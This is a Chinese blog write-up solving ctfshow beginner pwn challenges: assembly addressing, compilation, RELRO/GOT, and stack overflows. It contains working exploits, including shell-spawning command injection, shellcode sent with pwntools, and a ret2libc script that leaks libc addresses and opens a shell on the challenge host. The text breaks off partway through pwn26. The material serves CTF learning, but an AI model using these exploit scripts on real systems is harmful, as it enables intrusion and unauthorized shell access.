目录

  1. 1. 前言
  2. 2. Test_your_nc
  3. 3. 前置基础
    1. 3.1. 汇编语言
      1. 3.1.1. pwn5
      2. 3.1.2. pwn6
      3. 3.1.3. pwn7
      4. 3.1.4. pwn8
      5. 3.1.5. pwn9
      6. 3.1.6. pwn10
      7. 3.1.7. pwn11
      8. 3.1.8. pwn12
    2. 3.2. 编译
      1. 3.2.1. pwn13
      2. 3.2.2. pwn14
      3. 3.2.3. pwn15
      4. 3.2.4. pwn16
    3. 3.3. nc
      1. 3.3.1. pwn17
        1. 3.3.1.1. system(“/bin/sh”)
      2. 3.3.2. pwn18
        1. 3.3.2.1. echo+输出重定向符号
      3. 3.3.3. pwn19
        1. 3.3.3.1. >&0
    4. 3.4. plt与got
      1. 3.4.1. pwn20
        1. 3.4.1.1. .got表与.got.plt是否可写
          1. 3.4.1.1.1. RELRO
      2. 3.4.2. pwn21
      3. 3.4.3. pwn22
    5. 3.5. ret2shellcode、ret2libc
      1. 3.5.1. pwn23
      2. 3.5.2. pwn24
        1. 3.5.2.1. NX
      3. 3.5.3. pwn25
    6. 3.6. ALSR
      1. 3.6.1. pwn26
      2. 3.6.2. pwn27
      3. 3.6.3. pwn28
    7. 3.7. PIE
      1. 3.7.1. pwn29
      2. 3.7.2. pwn30
      3. 3.7.3. pwn31
        1. 3.7.3.1. 计算溢出偏移量
        2. 3.7.3.2. exp
    8. 3.8. FORTIFY_SOURCE
      1. 3.8.1. pwn32
      2. 3.8.2. pwn33
      3. 3.8.3. pwn34
  4. 4. 栈溢出
    1. 4.1. pwn35
    2. 4.2. pwn36
  5. 5. 结语

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow pwn入门

2023/6/20 Pwn ctfshow
  |     |   总文章阅读量:

前言

因为ctfshow新开了个pwn入门的靶场,限免15天共36题,不学白不学(

参考了T1ngSh0w的博客

Test_your_nc

简单的nc操作,只需会一点linux命令和代码审计能力就能ak的部分


前置基础

汇编语言

pwn5~pwn12附件相同

pwn5

pwn题的起手式一般是在拿到附件之后先丢到虚拟机中

给可执行文件加上执行权限

checksec检查保护状态和文件的位数

image-20230621005020007

可以发现是32位的,那就丢到ida中进行反编译

void __noreturn start()
{
  int v0; // eax
  int v1; // eax

  v0 = sys_write(1, &dword_80490E8, 0x16u);
  v1 = sys_exit(0);
}

本题还给了asm汇编源代码,直接打开或cat读取其内容

section .data
    msg db "Welcome_to_CTFshow_PWN", 0	; 声明了一个名为msg的字符串,包含了18个字符和一个空字符。最后的0是一个字节的空字符,用于表示字符串的结束

section .text
    global _start	; 定义了程序的入口点_start

_start:

; 立即寻址方式
    mov eax, 11         ; 将11赋值给eax
    add eax, 114504     ; eax加上114504
    sub eax, 1          ; eax减去1

; 寄存器寻址方式
    mov ebx, 0x36d      ; 将0x36d赋值给ebx
    mov edx, ebx        ; 将ebx的值赋值给edx

; 直接寻址方式
    mov ecx, [msg]      ; 将msg的地址赋值给ecx

; 寄存器间接寻址方式
    mov esi, msg        ; 将msg的地址赋值给esi
    mov eax, [esi]      ; 将esi所指向的地址的值赋值给eax

; 寄存器相对寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    add ecx, 4          ; 将ecx加上4
    mov eax, [ecx]      ; 将ecx所指向的地址的值赋值给eax

; 基址变址寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    mov edx, 2          ; 将2赋值给edx
    mov eax, [ecx + edx*2]  ; 将ecx+edx*2所指向的地址的值赋值给eax

; 相对基址变址寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    mov edx, 1          ; 将1赋值给edx
    add ecx, 8          ; 将ecx加上8
    mov eax, [ecx + edx*2 - 6]  ; 将ecx+edx*2-6所指向的地址的值赋值给eax

; 输出字符串
    mov eax, 4          ; 系统调用号4代表输出字符串
    mov ebx, 1          ; 文件描述符1代表标准输出
    mov ecx, msg        ; 要输出的字符串的地址
    mov edx, 22         ; 要输出的字符串的长度
    int 0x80            ; 调用系统调用

; 退出程序
    mov eax, 1          ; 系统调用号1代表退出程序
    xor ebx, ebx        ; 返回值为0
    int 0x80            ; 调用系统调用

本题要求运行此文件,将得到的字符串提交

那我们直接运行即可

image-20230621005648539

flag就是ctfshow{Welcome_to_CTFshow_PWN}


pwn6

立即寻址方式结束后eax寄存器的值为?

那我们直接看立即寻址部分即可

; 立即寻址方式
    mov eax, 11         ; 将11赋值给eax
    add eax, 114504     ; eax加上114504
    sub eax, 1          ; eax减去1

旁边的注释写的很清晰了

这里就是一个基础的运算eax=11+114504-1=114514

即flag为ctfshow{114514}


pwn7

寄存器寻址方式结束后edx寄存器的值为?

看寄存器寻址方式部分

; 寄存器寻址方式
    mov ebx, 0x36d      ; 将0x36d赋值给ebx
    mov edx, ebx        ; 将ebx的值赋值给edx

如注释所说的,edx=ebx=0x36d

flag:ctfshow{0x36D}(这里的flag要大写D)


pwn8

直接寻址方式结束后ecx寄存器的值为?

看直接寻址部分

; 直接寻址方式
    mov ecx, [msg]      ; 将msg的地址赋值给ecx

如注释,ecx=[msg]

要获取这里的msg地址需将可执行文件用ida进行反编译

image-20230621214459412

找到ecx寄存器,旁边这个dword_80490E8就是[msg],点击dword_80490E8跟进

image-20230621214644454

.data后面的080490E8就是msg的地址

所以flag:ctfshow{0x80490E8}(这里是16进制数据,0后面要补上x)


pwn9

寄存器间接寻址方式结束后eax寄存器的值为?

看间接寻址部分

; 寄存器间接寻址方式
    mov esi, msg        ; 将msg的地址赋值给esi
    mov eax, [esi]      ; 将esi所指向的地址的值赋值给eax

如注释,eax=[esi]=msg

此时esi寄存器的值为msg,即上题中的080490E8

image-20230621220453896

mov eax,[esi]将esi中的值作为地址,然后将该地址单元的值赋给eax

即把080490E8地址单元中的值636C6557h赋给eax

image-20230621221113156

所以eax=636C6557h,末尾的h表示十六进制

则flag:ctfshow{0x636C6557}


pwn10

寄存器相对寻址方式结束后eax寄存器的值为?

看相对寻址部分

; 寄存器相对寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    add ecx, 4          ; 将ecx加上4
    mov eax, [ecx]      ; 将ecx所指向的地址的值赋值给eax

如注释,ecx=ecx+4=msg,eax=[ecx]

第一个mov中ecx的值为msg的地址080490E8

然后将这个值加4,十六进制计算器敲一下得到结果是080490EC

第二个mov是把这个值作为地址,将地址单元的值赋给eax

image-20230622102933869

可以看到080490EC地址单元中的值为ome_to_CTFshow_PWN,即eax寄存器的值为ome_to_CTFshow_PWN

flag:ctfshow{ome_to_CTFshow_PWN}


pwn11

基址变址寻址方式结束后的eax寄存器的值为?

看基址变址寻址方式

; 基址变址寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    mov edx, 2          ; 将2赋值给edx
    mov eax, [ecx + edx*2]  ; 将ecx+edx*2所指向的地址的值赋值给eax

如注释,ecx=msg=080490E8,edx=2,eax=[ecx+edx*2]

edx*2=4,那eax的值就等于[ecx+4]的地址单元,那就和上题一样是ome_to_CTFshow_PWN

image-20230622102933869

flag:ctfshow{ome_to_CTFshow_PWN}


pwn12

相对基址变址寻址方式结束后eax寄存器的值为?

; 相对基址变址寻址方式
    mov ecx, msg        ; 将msg的地址赋值给ecx
    mov edx, 1          ; 将1赋值给edx
    add ecx, 8          ; 将ecx加上8
    mov eax, [ecx + edx*2 - 6]  ; 将ecx+edx*2-6所指向的地址的值赋值给eax

如注释,ecx=msg=080490E8,edx=1,ecx=ecx+8,eax=[ecx + edx*2 - 6]

算一算就知道结果还是eax=[ecx+4]

image-20230622102933869

flag:ctfshow{ome_to_CTFshow_PWN}


编译

pwn13

gcc编译使用

下载题目附件flag.c,拖入虚拟机中进行gcc编译

gcc -o flag flag.c

然后运行得到flag

./flag

image-20230622105912981

flag:ctfshow{hOw_t0_us3_GCC?}


pwn14

创建key文件

下载题目附件flag.c,阅读源码

#include <stdio.h>
#include <stdlib.h>

#define BUFFER_SIZE 1024

int main() {
    FILE *fp;
    unsigned char buffer[BUFFER_SIZE];	// 定义了一个缓冲区 buffer,用于存储从文件中读取的二进制数据,以及一个常量 BUFFER_SIZE,表示缓冲区的大小
    size_t n;
    fp = fopen("key", "rb");	// 以二进制模式打开文件key
    if (fp == NULL) {
        perror("Nothing here!");
        return -1;
    }
    char output[BUFFER_SIZE * 9 + 12]; 	// 定义了一个输出字符串变量 output,大小为 BUFFER_SIZE * 9 + 12,用于存储输出的格式化字符串
    int offset = 0;	// 用于跟踪字符串的长度
    offset += sprintf(output + offset, "ctfshow{");	// 将 "ctfshow{" 格式化字符串添加到 output 中,并将 offset 更新为添加后字符串的长度
    while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) {	// 使用 fread 函数从文件中读取二进制数据,并将数据转换为二进制字符串
        for (size_t i = 0; i < n; i++) {
            for (int j = 7; j >= 0; j--) {
                offset += sprintf(output + offset, "%d", (buffer[i] >> j) & 1);	// 转换后的字符串通过 sprintf 函数添加到 output 中,并将 offset 更新为添加后字符串的长度
            }
            if (i != n - 1) {
                offset += sprintf(output + offset, "_");
            }
        }
        if (!feof(fp)) {
            offset += sprintf(output + offset, " ");	// 如果文件没有读取到末尾,程序将在输出字符串中添加一个空格。
        }
    }
    offset += sprintf(output + offset, "}");
    printf("%s\n", output);
    fclose(fp);
    return 0;
}

代码大致逻辑就是读取key文件,然后通过几个循环的操作得到flag

而key文件是需要我们本地创建的,题目给定key为”CTFshow”

echo CTFshow > key # 创建内容为CTFshow的key文件

然后我们再编译运行flag.c文件就可以获得flag了

gcc -o flag flag.c
./flag

image-20230622111620720

flag:ctfshow{01000011_01010100_01000110_01110011_01101000_01101111_01110111_00001010}


pwn15

nasm编译汇编代码到可执行文件

下载题目附件,得到flag.asm

丢到虚拟机中进行编译

nasm -f elf64 flag.asm # 将flag.asm编译成64为.o文件
ld -s -o flag flag.o # 将flag.o链接成flag可执行文件

然后运行即可获取flag

./flag

image-20230622160843857

flag:ctfshow{@ss3mb1y_1s_3@sy}


pwn16

gcc编译

下载附件得到flag.s

在虚拟机中进行编译并运行

gcc -o flag flag.s # 将flag.s编译成flag可执行文件
./flag

image-20230622162029809

这里遇到了一点问题,在我自己的虚拟机环境上编译出来的flag文件运行结果会多出后四位,不过多运行几遍就可以知道flag应该是不变的那几位(

实际flag:ctfshow{daniuniuda}


nc

pwn17

system(“/bin/sh”)绕过长度限制

下载题目附件pwn,先在虚拟机中给个可执行权限检查一下文件信息

chmod +x pwn
checksec ./pwn

image-20230622195111033

发现是64位可执行文件

丢进ida64反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-1Ch] BYREF
  char dest[4]; // [rsp+Ah] [rbp-16h] BYREF
  char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts(asc_D48);
  puts(asc_DC0);
  puts(asc_E40);
  puts(asc_ED0);
  puts(asc_F60);
  puts(asc_FE8);
  puts(asc_1080);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : You should understand the basic command usage of Linux! ");
  puts("    * *************************************                           ");
  *(_DWORD *)dest = 790655852;
  v4 = 0;
  puts("\nHow much do you know about Linux commands? \n");
  while ( 1 )
  {
    menu();
    v4 = 0;
    puts("\nEnter the command you want choose:(1.2.3.4 or 5)\n");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        system("id");
        break;
      case 2:
        puts("Which directory?('/','./' or the directiry you want?)");
        read(0, buf, 0xAuLL);
        strcat(dest, buf);
        system(dest);
        puts("Execution succeeded!");
        break;
      case 3:
        sleep(1u);
        puts("$cat /ctfshow_flag");
        sleep(1u);
        puts("ctfshow{");
        sleep(2u);
        puts("... ...");
        sleep(3u);
        puts("Your flag is ...");
        sleep(5u);
        puts("ctfshow{flag is not here!}");
        sleep(0x14u);
        puts("wtf?You haven't left yet?\nOk~ give you flag:\nflag is loading......");
        sleep(0x1BF52u);
        system("cat /ctfshow_flag");
        break;
      case 4:
        sleep(2u);
        puts("su: Authentication failure");
        break;
      case 5:
        puts("See you!");
        exit(-1);
      default:
        puts("command not found!");
        break;
    }
  }
}

分析一下可以知道首先是进入一个while循环打印出menu

然后进入switch-case语句,根据我们输入的选项来执行分支语句

可以发现case3中有读取flag的语句

case 3:
  sleep(1u);
  puts("$cat /ctfshow_flag");
  sleep(1u);
  puts("ctfshow{");
  sleep(2u);
  puts("... ...");
  sleep(3u);
  puts("Your flag is ...");
  sleep(5u);
  puts("ctfshow{flag is not here!}");
  sleep(0x14u);
  puts("wtf?You haven't left yet?\nOk~ give you flag:\nflag is loading......");
  sleep(0x1BF52u);
  system("cat /ctfshow_flag");
  break;

但是存在sleep(0x1BF52u),换算成十进制就是要我们等待114514秒,所以这个选项明显走不通

再看看case2

case 2:
  puts("Which directory?('/','./' or the directiry you want?)");
  read(0, buf, 0xAuLL);	// 通过read()函数从标准输入(stdin)中读取用户输入,并将其存储在名为“buf”的缓冲区中,并且限制了长度最多为0xA,即9
  strcat(dest, buf);	// 将用户输入的目录追加到名为“dest”的已有字符串后面
  system(dest);
  puts("Execution succeeded!");
  break;

这里会将我们输入的字符串当作参数传入system()函数,也就是可以进行命令执行

但是cat /ctfshow_flag的长度明显比9多

所以这里得想办法绕过限制

system(“/bin/sh”)

启动一个新的shell进程,并将其作为当前进程的控制台

明显/bin/sh的长度没有超过9,所以可以利用这种方法获取shell实现绕过

nc连上靶机开做即可

image-20230622200826816


pwn18

echo >>和 echo >

下载题目附件pwn

和上题一样在虚拟机中给执行权限,checksec查看信息,发现是64位

丢到ida64进行反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts(s);
  puts(asc_B10);
  puts(asc_B90);
  puts(asc_C20);
  puts(asc_CB0);
  puts(asc_D38);
  puts(asc_DD0);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : Do you know redirect output ?                           ");
  puts("    * *************************************                           ");
    // 以上为前面的部分
  puts("Which is the real flag?");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 9 )
    fake();
  else
    real();
  system("cat /ctfshow_flag");
  return 0;
}

前面部分的语句就是输出一些题目信息,告诉我们要进行一次输入,关键就在if-else语句中的两个函数内容,如果输入值为9进入fake()函数,反之为real()函数

双击查看fake()函数

int fake()
{
  return system("echo 'flag is here'>>/ctfshow_flag");
}

再双击查看real()函数

int real()
{
  return system("echo 'flag is here'>/ctfshow_flag");
}

可以发现两个函数的执行语句差不多,区别在fake()函数是>>real()函数只有>

echo+输出重定向符号

  1. echo > file:将文本内容写入文件,如果文件不存在则创建文件。如果文件已经存在,则会覆盖文件中的内容。
  2. echo >> file:将文本内容追加到文件末尾。如果文件不存在,则创建一个新文件并将文本内容写入其中。

所以我们要选择执行的函数是fake(),因为是在末尾追加flag is here语句

real()函数将会把整个ctfshow_flag文件的内容修改为flag is here

那么nc连上靶机,输入9即可获取flag

image-20230622202238196


pwn19

>&0定向到输入流

下载题目附件pwn

和上题一样在虚拟机中给执行权限,checksec查看信息,发现一样是64位

丢到ida64进行反编译

前面的部分和上题一样,直接看关键部分

if ( fork() )		// fork()函数用于在进程中创建一个新的子进程,则一开始返回的一定是0,先进入else语句
{
  wait(0LL);
  sleep(3u);
  printf("flag is not here!");
}
else
{
  puts("give you a shell! now you need to get flag!");
  fclose(_bss_start);
  read(0, buf, 0x20uLL);
  system(buf);
}
return 0;

fclose()函数关闭一个文件流,这里关闭了_bss_start流,也即关闭了这里的输出流,我们执行命令得不到回显

>&0

一种Shell重定向语法,用于将标准输出(1)重定向到标准输入(0)

通过在末尾添加>&0可以实现绕过关闭输出流的限制

所以nc连上靶机开做(这里执行命令的环境不是交互式的,每执行一个命令就要重新连一次靶机)

ls >&0

image-20230622211142572

cat ctfshow_flag >&0

image-20230622211205672


plt与got

基础知识可以看我专门写的另一篇博客Linux动态链接中的PLT和GOT

这里专门就获取题目的flag进行学习

pwn20

提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}

例如 .got可写.got.plt表可写其地址为0x400820 0x8208820 最终flag为ctfshow{1_1_0x400820_0x8208820} 若某个表不存在,则无需写其对应地址 如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}

.got表与.got.plt是否可写

这里与linux可执行文件的保护机制相关,就是我们使用checksec时查看到的信息相关,包括Stack canaries、No-eXecute、ASLR和PIE、FORTIFY_SOURCE以及RELRO

与.got、.got.plt节是否可写有关的是RELRO保护机制

RELRO

是一种二进制文件的保护机制,它可以防止攻击者利用程序中的全局偏移表(GOT)进行攻击。在 RELRO 保护下,GOT 表被设置为只读,从而使攻击者无法修改 GOT 表中的地址。

RELRO 机制有两种不同的实现方式:Partial RELRO Full RELRO

Partial RELRO :只在程序启动时保护 GOT 表的前部分,即只有在动态链接库被加载时才会保护 GOT 表的后部分。这种保护方式可以防止一些简单的攻击,但无法防止攻击者修改 GOT 表中的地址。

即表示.got不可写而.got.plt可写

Full RELRO :在程序启动时即可完全保护 GOT 表,即使在动态链接库被加载后也不允许修改 GOT 表中的地址。这种保护方式可以有效地防止攻击者利用 GOT 表进行攻击。

即表示.got不可写.got.plt也不可写

所以下载题目附件pwn,丢入虚拟机checksec查看保护机制

image-20230623213844332

可以看到No RELRO,也就表示.got与.got.plt都可写,即flag的前一部分为1_1

于是使用readelf -S命令查看 ELF 文件的所有节信息,包括每个节的名称、大小、偏移量和属性,这里其中就包含了节的所在地址

image-20230623214655613

找到.got和.got.plt的地址

image-20230623214803663

地址就是跟在PROGBITS后的第一段信息,即0x600f180x600f28

则flag:ctfshow{1_1_0x600f18_0x600f28}


pwn21

和上一题一样要提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}

下载题目附件pwn,丢进虚拟机

checksec检查保护

image-20230623215439795

可以看到这里是Partial RELRO,表示.got不可写而.got.plt可写,即flag的前一部分为0_1

然后readelf -S查看节信息找到.got和.got.plt的地址

image-20230623215800804

即后一部分的flag为0x600ff0_0x601000

所以flag:ctfshow{0_1_0x600ff0_0x601000}


pwn22

问题和上一题一样

下载题目附件pwn,丢进虚拟机

checksec检查保护

image-20230623220150273

可以看到这里是Full RELRO,表示.got不可写.got.plt也不可写,即flag的前一部分为0_0

然后readelf -S查看节信息找到.got和.got.plt的地址

image-20230623220307852

这里只找到了.got,则flag后一部分为0x600fc0

flag:ctfshow{0_0_0x600fc0}


ret2shellcode、ret2libc

相关知识请移步ctfwiki

等哪天有空了说不定会补上(x

pwn23

缓冲区溢出

下载题目附件pwn,丢进虚拟机checksec

image-20230624215623900

是32位的,丢进ida反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // eax
  int v5; // [esp-Ch] [ebp-2Ch]
  int v6; // [esp-8h] [ebp-28h]
  int v7; // [esp-4h] [ebp-24h]
  FILE *stream; // [esp+4h] [ebp-1Ch]

  stream = fopen("/ctfshow_flag", "r");		// 打开名为 /ctfshow_flag 的文件
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(flag, 64, stream);		// 从 /ctfshow_flag 文件中读取不超过 64 个字符的内容到缓冲区 flag 中
  signal(11, (__sighandler_t)sigsegv_handler);
  v3 = getegid();
  setresgid(v3, v3, v3, v5, v6, v7, v3);
  puts(asc_8048940);
  puts(asc_80489B4);
  puts(asc_8048A30);
  puts(asc_8048ABC);
  puts(asc_8048B4C);
  puts(asc_8048BD0);
  puts(asc_8048C64);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : No canary found                                         ");
  puts("    * *************************************                           ");
  puts("How to input ?");
  if ( argc > 1 )
    ctfshow((char *)argv[1]);	// 如果命令行参数个数大于 1,则调用名为 ctfshow() 的函数并将第二个命令行参数(argv[1])作为参数传递给它
  return 0;
}

ctfshow()函数

char *__cdecl ctfshow(char *src)
{
  char dest[58]; // [esp+Ah] [ebp-3Eh] BYREF

  return strcpy(dest, src);
}

审计代码得知,

主要部分:虽然读取了flag文件保存在缓冲区中但是没有输出,同时判断我们输入的参数是否大于1,如果大于1进入ctfshow()函数并且将我们输入的第一个参数作为ctfshow()函数的参数,ctfshow函数接收一个src参数将其值赋给dest

而ctfshow()函数用到了strcpy()函数,这个函数是可以发生溢出的,src是我们输入的参数,并且没有被限制长度,代表我们可以利用缓冲区溢出漏洞

那么ssh连上靶机

可以发现不能直接cat /ctfshow_flag

而这里的pwnme应该是我们下载的附件,所以我们还是要靠这个文件来获取flag

既然我们的思路是缓冲区溢出,那就在运行该文件传参的时候输入大量的字符串使其溢出即可

image-20230624221634953

成功获取flag


pwn24

shellcraft

下载题目附件pwn,丢进虚拟机checksec

image-20230624222936319

是32位的,丢进ida反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  puts(asc_80486E0);
  puts(asc_8048754);
  puts(asc_80487D0);
  puts(asc_804885C);
  puts(asc_80488EC);
  puts(asc_8048970);
  puts(asc_8048A04);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : NX disabled & Has RWX segments                          ");
  puts("    * *************************************                           ");
  ctfshow(&argc);
  return 0;
}

然而ctfshow()函数没反编译出来,那就看看其汇编代码凑合了

.text:080484C6                               ; int __cdecl ctfshow(_DWORD)
.text:080484C6                               public ctfshow
.text:080484C6                               ctfshow proc near                       ; CODE XREF: main+132↓p
.text:080484C6
.text:080484C6                               buf= byte ptr -88h		; 定义buf
.text:080484C6                               var_4= dword ptr -4
.text:080484C6
.text:080484C6                               ; __unwind {
.text:080484C6 55                            push    ebp
.text:080484C7 89 E5                         mov     ebp, esp
.text:080484C9 53                            push    ebx
.text:080484CA 81 EC 84 00 00 00             sub     esp, 84h
.text:080484D0 E8 2B FF FF FF                call    __x86_get_pc_thunk_bx
.text:080484D0
.text:080484D5 81 C3 2B 1B 00 00             add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080484DB 83 EC 04                      sub     esp, 4
.text:080484DE 68 00 01 00 00                push    100h                            ; nbytes
.text:080484E3 8D 85 78 FF FF FF             lea     eax, [ebp+buf]		; ebp+buf=ebp-0w88
.text:080484E9 50                            push    eax                             ; buf
.text:080484EA 6A 00                         push    0                               ; fd
.text:080484EC E8 6F FE FF FF                call    _read	; 调用read函数,将我们的输入赋给eax里的地址单元=ebp-0x88
.text:080484EC
.text:080484F1 83 C4 10                      add     esp, 10h
.text:080484F4 83 EC 0C                      sub     esp, 0Ch
.text:080484F7 8D 85 78 FF FF FF             lea     eax, [ebp+buf]
.text:080484FD 50                            push    eax                             ; s
.text:080484FE E8 6D FE FF FF                call    _puts	; 调用puts函数,将eax地址单元的内容输出,此时eax=ebp-0x88
.text:080484FE
.text:08048503 83 C4 10                      add     esp, 10h
.text:08048506 8D 85 78 FF FF FF             lea     eax, [ebp+buf]
.text:0804850C FF D0                         call    eax	; 调用eax里地址单元所指向的代码,eax的地址单元为ebp-0x88
.text:0804850C
.text:0804850E 90                            nop
.text:0804850F 8B 5D FC                      mov     ebx, [ebp+var_4]
.text:08048512 C9                            leave
.text:08048513 C3                            retn
.text:08048513                               ; } // starts at 80484C6
.text:08048513
.text:08048513                               ctfshow endp

同时我们发现这里关掉了NX保护

NX

用于防止程序运行时的内存攻击,如缓冲区溢出和代码注入等攻击

关掉NX代表着栈可执行

而开始我们将栈中地址ebp-0x88赋给eax,并在该地址里写入我们输入的东西,最后程序会执行这里边的东西,也就是会执行我们写入的东西,如果我们写入的是shellcode,那么程序也就会执行我们的shellcode

题目描述中提示我们使用shellcraft模块进行攻击

那我们就开始编写exp

from pwn import *

# 与目标服务器的pwn文件建立进程
p = remote("pwn.challenge.ctf.show", "28193") 

# 使用shellcraft模块生成shellcode
shell = asm(shellcraft.sh()) 
# 向远程发送数据(我们的shellcode)
p.sendline(shell)
# 建立交互式对话
p.interactive()

连上后获取flag

image-20230624225136038


pwn25

ret2libc

下载题目附件pwn,丢进虚拟机checksec

image-20230625210740882

开了NX,是32位,题目描述让我们用ret2libc来做

丢进ida反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  ctfshow(&argc);
  logo();
  write(0, "Hello CTFshow!\n", 0xEu);
  return 0;
}

ctfshow()函数

ssize_t ctfshow()
{
  char buf[132]; // [esp+0h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

审计代码,先通过ctfshow()函数,读入我们输入的字符串

注意这里读入的buf是132个长度,而read()函数限制我们读入的长度位0x100,也就是256个长度

说明会缓冲区溢出

注意缓冲区buf定义在函数的栈帧中,使用ebp(基址指针)和esp(堆栈指针)来寻址,偏移量为-88,要覆盖返回地址的话偏移量还要-4,即使用0x88+0x4个无用填充字符覆盖到返回地址

我们先看一下plt表中的函数

objdump -d -j .plt pwn

image-20230625211327193

可以看到plt表中含有puts函数跟write函数,那got表中也一定有他俩,

所以我们就使用puts函数来输出函数的内存地址

然后寻找相应的libc版本中puts函数的地址,接着找到找到libc中的system函数地址,填充执行system函数之后的返回地址(32位下偏移量固定为4),最后填入system的参数/bin/sh

exp(python3):

from pwn import *
from LibcSearcher import *

# 打印调试信息
context.log_level = 'debug'

# 建立连接
p = remote("pwn.challenge.ctf.show", "28119")
elf = ELF("./pwn")

# 溢出偏移地址
offset = 0x88 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']

# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址
payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
# 发送payload
p.sendline(payload)
# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))

# 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts", puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = offset * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
p.sendline(payload)
p.interactive()

期间遇到LibcSearcher库出问题的可以看这个博客LibcSearcher的安装使用

image-20230626003947402

image-20230626003958396


ALSR

对于二进制来说,攻击的前提是知道内存布局,需要提前知道shellcode或者其他一些数据的位置

而ALSR的作用是随机分配可执行文件、动态链接库、堆、栈等内存区域的地址,使攻击者无法轻易地预测这些内存区域的位置

但是ASLR提供的只是概率上的安全性,根据用于随机化的熵,攻击者有可能幸运地猜到正确的地址,有时攻击者还可以爆破

在Linux上,ASLR的全局配置/proc/sts/kernel/randomize_va_space有三种情况:

0表示关闭ASLR;

1表示部分开启(将mmap的基址,stack和vdso页面随机化);

2表示完全开启(在部分开启的基础上增加heap的随机化)。

如下:
image-20230626111916322
我们可以修改/proc/sts/kernel/randomize_va_space文件的值来配置ASLR。


pwn26

修改/proc/sys/kernel/randomize_va_space

下载题目附件pwn,丢进虚拟机checksec

image-20230626112146294

是64位的,丢进ida64反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *ptr; // [rsp+0h] [rbp-10h]
  void *v5; // [rsp+8h] [rbp-8h]

  ptr = malloc(4uLL);
  v5 = dlopen("/lib/x86_64-linux-gnu/libc.so.6", 258);
  puts(s);
  puts(asc_4008F0);
  puts(asc_400970);
  puts(asc_400A00);
  puts(asc_400A90);
  puts(asc_400B18);
  puts(asc_400BB0);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : Please confirm your ASLR level first !                  ");
  puts("    * *************************************                           ");
  puts("Here is your ASLR level:");
  system("cat /proc/sys/kernel/randomize_va_space");	// 读取文件
  puts("If the result is 0, then you get the correct flag!");	// 如果内容为0则给正确的flag
  puts("If not,you will get a fake flag!");
  printf("flag is :ctfshow{%p", main);
  printf("_%p", system);
